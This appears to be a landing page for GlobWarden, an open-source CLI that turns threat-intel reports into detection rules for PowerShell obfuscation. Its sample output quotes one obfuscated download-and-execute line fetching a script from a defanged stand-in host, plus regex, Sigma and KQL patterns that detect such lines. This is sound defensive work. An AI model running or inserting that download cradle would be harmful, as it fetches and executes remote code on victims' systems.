Feed it a report. It hands you the detection content — in five languages, in seconds.
GlobWarden is a CLI that reads a threat-intel report — a URL, a PDF, raw text, a code file, or an image — and uses an LLM to identify command-obfuscation techniques described in it. For each one it finds, it generates ready-to-use detection rules in regex, KQL, SPL, YARA-L, and Sigma, in one pass.
STEEP#MAVERICK's wildcard
— why this tool existsGet-Alias/Get-Commandpattern had no name in ATT&CK until T1027.010 was written — and that gap only closed because someone had to manually read the campaign write-up and translate "here's the pattern" into "here's how you'd actually detect it." GlobWarden automates that translation step.
One report in. Five validated rule sets out.
Every input format funnels through the same analysis step, and every finding fans out to the same five outputs — nothing is checked in without passing a syntax gate first.
Cloud providers (OpenAI, Anthropic, Gemini) and local providers (Ollama, LM Studio) sit behind the same interface — swapping one for the other is a flag, not a rewrite.
A wildcard alias trick, from report to rule.
The same Get-Alias wildcard pattern from STEEP#MAVERICK, run through GlobWarden with three rule languages requested. Illustrative output — content is real, styling is hand-laid-out for this page rather than a raw terminal capture; see the README for a byte-for-byte reproducible --provider fake capture you can run yourself right now.
$ globwarden scan \ https://example.com/campaign-report \ --rules regex,sigma,kql GlobWarden v0.1.0 · anthropic (claude-sonnet) Fetching report ......................... done (1 page, 4.2s) Scanning for T1027.010 obfuscation ...... done (1 finding) ┌─ Finding f1 ─────────────────────────────────────────────────┐ │ Wildcard Get-Alias → Invoke-Expression │ category wildcard_resolution │ confidence 0.91 │ att&ck T1027.010 (parent: T1027) │ example .(gal ?e[?x])((gal ?rm) 'hxxp[://]cdn-sync-relay[.]test/lib/mod2.ps1') └─────────────────────────────────────────────────────────────┘ Generating rules: regex, sigma, kql ..... done Validating ............................. 3/3 valid (regex compiled · sigma YAML parsed · kql syntax OK) ┌─ regex ─ f1 ─ valid ──────────────────────────────────────────┐ │ \(\s*gal\s+\??[a-z]*\[?\??x\]?\s*\)\s*\(\s*\(\s*gal\s+\??rm\s*\) └─────────────────────────────────────────────────────────────┘ matches the wildcard-alias call-and-resolve pair regardless of which unambiguous prefix was typed for iex / irm ┌─ sigma ─ f1 ─ valid ──────────────────────────────────────────┐ selection_alias_lookup: ScriptBlockText|contains: - 'gal ' - 'gcm ' - '(gal ' - '(gcm ' selection_exec_target: ScriptBlockText|contains: - '\?e[\?x]' - '\?rm' condition: selection_alias_lookup and selection_exec_target └─────────────────────────────────────────────────────────────┘ ┌─ kql ─ f1 ─ valid ─────────────────────────────────────────────┐ DeviceProcessEvents | where ProcessCommandLine has_any ('gal ', 'gcm ') | where ProcessCommandLine matches regex @"\(\?e\[?\?x\]?\)" └─────────────────────────────────────────────────────────────┘ 1 finding → 3 rules generated · 0 invalid · done in 8.7s $
Built around the four things that matter for this job.
Cloud or fully local
OpenAI, Anthropic, and Gemini for cloud analysis; Ollama and LM Studio for local, offline models. Both local providers speak the same OpenAI-compatible wire format, so a report never has to leave the machine for orgs that can't send threat intel to a cloud API — that's a real requirement this tool treats as a first-class path, not a fallback.
One pass, five rule languages
regex, KQL, SPL, YARA-L, and Sigma are generated together from the same findings, cross-referenced by finding ID — a regex hit and a Sigma rule for the same technique trace back to the same evidence. This fan-out, not any single translation, is the core differentiator.
Validated before you see it
Every generated rule is checked before it's shown: regex is actually compiled, Sigma is actually YAML-parsed. A rule that fails validation is marked invalid with the reason attached — never silently dropped, never silently trusted.
Obfuscation-specific, not IOC soup
Narrow by design: character masking, wildcard/glob resolution, string concatenation, environment-variable indirection, and encoded download cradles — the T1027.010 taxonomy specifically, not another general-purpose IOC/TTP extractor.
How it's different — and where it isn't.
Narrow input, broad output, works fully offline with a local model. That's the real niche — this isn't a replacement for analyst review or a certified rule-translation engine.
| Tool | What it does | How GlobWarden differs |
|---|---|---|
| DIANA | Report/URL/doc text → detection logic via LLM (OpenAI, Anthropic, Groq). The closest analog to GlobWarden. | Fans out to five rule languages in one pass instead of one; obfuscation-technique-focused rather than general IOC/TTP extraction; adds first-class local-LLM support; PDF/code-file-first rather than URL/text-first. |
| Uncoder AI (SOC Prime) |
The dominant rule-translation tool — Sigma/Roota into 48+ SIEM languages. It translates a rule you already have. | GlobWarden does the step before that: reading a report that has no rule yet and producing the first draft. Complementary, not competing. |
t1027010_hunter.py, runs the opposite direction of GlobWarden: it statically analyzes PowerShell scripts you already have, rather than reading prose about a technique to produce new detection content.
Up and running in about a minute.
$ pip install globwarden # scan a report URL, request three rule types $ globwarden scan \ https://example.com/campaign-report \ --rules regex,sigma,kql # scan a local PDF with a fully local model, all five rule types (default) $ globwarden scan ./incident-notes.pdf \ --provider ollama # check which providers are configured and reachable $ globwarden providers
Install from PyPI
Single package, no separate binary — pip install globwarden pulls in the CLI and all five provider clients.
Point it at a provider
Set an API key for a cloud provider, or point --provider at a running Ollama or LM Studio instance — no key needed for local.
Scan anything
A report URL, a downloaded PDF, a pasted snippet, a script file, or a screenshot of a campaign write-up all go through globwarden scan.
Review before you ship
Treat the output as a detection-engineering assistant's first draft, not a certified translation — validated rules still need an analyst's read.
GlobWarden is open source.
Read the code, file an issue, add a sixth provider in about five lines. Contributions welcome, especially more rule-language backends.